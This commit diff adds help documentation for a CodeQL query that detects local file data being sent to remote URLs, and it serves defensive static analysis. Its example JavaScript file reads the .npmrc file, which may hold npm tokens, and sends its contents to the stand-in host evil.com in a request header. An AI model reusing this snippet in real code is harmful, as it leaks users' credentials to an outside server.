JavaScript: Add query help for FileAccessToHttp query.

javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp

@@ -0,0 +1,36 @@
+<!DOCTYPE qhelp PUBLIC
+"-//Semmle//qhelp//EN"
+"qhelp.dtd">
+<qhelp>
+
+<overview>
+  <p>
+    Sending local file system data to a remote URL without further
+    validation risks uncontrolled information exposure, and may be
+    an indication of malicious backdoor code that has been
+    implanted into an otherwise trusted code base.
+  </p>
+</overview>
+
+<recommendation>
+  <p>
+    Examine the highlighted code closely to ensure that it is
+    behaving as intended.
+  </p>
+</recommendation>
+
+<example>
+  <p>
+    The following example is adapted from backdoor code that was identified in two
+    popular npm packages. It reads the contents of the <code>.npmrc</code> file
+    (which may contain secret npm tokens) and sends it to a remote server by
+    embedding it into an HTTP request header.
+  </p>
+  <sample src="examples/FileAccessToHttp.js"/>
+</example>
+
+<references>
+  <li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
+  <li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
+</references>
+</qhelp>

javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js

@@ -0,0 +1,10 @@
+var fs = require("fs"),
+    https = require("https");
+
+var content = fs.readFileSync(".npmrc", "utf8");
+https.get({
+  hostname: "evil.com",
+  path: "/upload",
+  method: "GET",
+  headers: { Referer: content }
+}, () => { });